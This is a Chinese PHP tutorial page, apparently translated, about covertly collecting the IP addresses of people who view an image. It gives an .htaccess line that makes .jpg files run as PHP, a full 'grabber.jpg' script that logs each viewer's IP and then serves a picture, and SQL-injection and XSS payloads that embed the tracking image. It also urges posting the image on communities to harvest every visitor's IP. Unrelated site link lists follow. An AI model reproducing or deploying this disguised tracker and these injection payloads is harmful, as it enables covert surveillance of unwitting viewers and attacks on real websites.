基于PHP实现通过照片获取ip地址


Posted in PHP onApril 26, 2016

在本教程中,我们将学习如何用一张照片来盗取ip地址。我的想法是通过修改.htaccess文件,将jpg文件当作php文件来解析。

下面就是我们需要向.htaccess中添加的代码:

AddHandler application/x-httpd-php5 .jpg

然后将下面的代码复制到记事本中,命名为grabber.jpg

<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>

将grabber.jpg的权限设置为755,然后再找一张照片,将其命名为n00b.png,接着放到与grabber.jpg相同的目录之中。

就这样,一切工作就绪了。当别人浏览grabber.jpg这张照片的时候,他的ip地址就会被记录下来。

(译者注:需要把这些东西上传至我们的个人网站空间中)

POC:

(译者注:作者这里贴了一张可获取ip的演示照片,为了大家的隐私,我没有将其贴出,读者可自行去作者博客查看)

至此,我们的照片已经可以开始工作了。

接着我还想说明一下如何使用SQLi来获取ip地址。其实使用照片来盗取ip地址十分快捷,我们没有理由去使用SQLi这种方法,但是为了让读者获取到更多的知识,我还是说明一下吧:

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#

现在,再说一下如何使用xss来获取ip地址:

http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search

好了,就是这些了。

我们可以用这个技巧做许多有趣的事情,事实上大部分社区都允许我们发布一些照片,所以我们可以用这个方法去获取所有访问到我们照片的人的ip地址。

以上所述是小编给大家介绍的基于PHP实现通过照片获取ip地址的相关内容,希望对大家有所帮助!

PHP 相关文章推荐
PHP支持多种格式图片上传(支持jpg、png、gif)
Nov 03 PHP
Window下PHP三种运行方式图文详解
Jun 11 PHP
thinkphp 多表 事务详解
Jun 17 PHP
php目录操作实例代码
Feb 21 PHP
php递归创建目录的方法
Feb 02 PHP
php将字符串随机分割成不同长度数组的方法
Jun 01 PHP
PHP并发多进程处理利器Gearman使用介绍
May 16 PHP
PHP7.1方括号数组符号多值复制及指定键值赋值用法分析
Sep 26 PHP
php 替换文章中的图片路径,下载图片到本地服务器的方法
Feb 06 PHP
php使用filter_var函数判断邮箱,url,ip格式示例
Jul 06 PHP
PHP基于session.upload_progress 实现文件上传进度显示功能详解
Aug 09 PHP
MacOS下PHP7.1升级到PHP7.4.15的方法
Feb 22 PHP
各种快递查询--Api接口
Apr 26 #PHP
浅析Yii2集成富文本编辑器redactor实例教程
Apr 25 #PHP
Yii2增加验证码步骤详解
Apr 25 #PHP
Yii实现显示静态页的方法
Apr 25 #PHP
mysql_escape_string()函数用法分析
Apr 25 #PHP
PHP中addslashes与mysql_escape_string的区别分析
Apr 25 #PHP
PHP引用的调用方法分析
Apr 25 #PHP
You might like
PHP的Yii框架中创建视图和渲染视图的方法详解
2016/03/29 PHP
thinkphp3.x中session方法的用法分析
2016/05/20 PHP
利用php做服务器和web前端的界面进行交互
2016/10/31 PHP
pjblog中的UBBCode.js
2007/04/25 Javascript
Javascript操作select方法大全[新增、修改、删除、选中、清空、判断存在等]
2008/09/26 Javascript
defer属性导致引用JQuery的页面报“浏览器无法打开网站xxx,操作被中止”错误的解决方法
2010/04/27 Javascript
jQuery 表格插件整理
2010/04/27 Javascript
jquery ready()的几种实现方法小结
2010/06/18 Javascript
需要做特殊处理的DOM元素属性的访问
2010/11/05 Javascript
js+css使DIV始终居于屏幕中间 左下 左上 右上 右下的代码集合
2011/03/10 Javascript
javascript中的缓动效果实现程序
2012/12/29 Javascript
Javascript 读取操作Sql中的Xml字段
2014/10/09 Javascript
AngularJS基础 ng-hide 指令用法及示例代码
2016/08/01 Javascript
微信小程序 实现tabs选项卡效果实例代码
2016/10/31 Javascript
LayUI表格批量删除方法
2018/08/15 Javascript
解决vuejs项目里css引用背景图片不能显示的问题
2018/09/13 Javascript
vue-drag-chart 拖动/缩放图表组件的实例代码
2020/04/10 Javascript
Jquery如何使用animation动画效果改变背景色的代码
2020/07/20 jQuery
python实现根据ip地址反向查找主机名称的方法
2015/04/29 Python
编写自定义的Django模板加载器的简单示例
2015/07/21 Python
Python设置默认编码为utf8的方法
2016/07/01 Python
Python多进程multiprocessing用法实例分析
2017/08/18 Python
python 通过类中一个方法获取另一个方法变量的实例
2019/01/22 Python
树莓派动作捕捉抓拍存储图像脚本
2019/06/22 Python
django中forms组件的使用与注意
2019/07/08 Python
Python定时发送天气预报邮件代码实例
2019/09/09 Python
通过实例简单了解Python中yield的作用
2019/12/11 Python
澳大利亚儿童和婴儿产品在线商店:Lime Tree Kids
2017/10/05 全球购物
小蚁科技官方商店:YI Technology
2019/08/23 全球购物
校本教研工作制度
2014/01/22 职场文书
金融专业毕业生自荐信
2014/06/26 职场文书
依法行政工作汇报
2014/10/28 职场文书
教师节联欢会主持词
2015/07/04 职场文书
2016学校元旦晚会经典开场白台词
2015/12/03 职场文书
《火纹风花雪月无双》预告“神秘雇佣兵” 紫发剑客
2022/04/13 其他游戏
Android自定义双向滑动控件
2022/04/19 Java/Android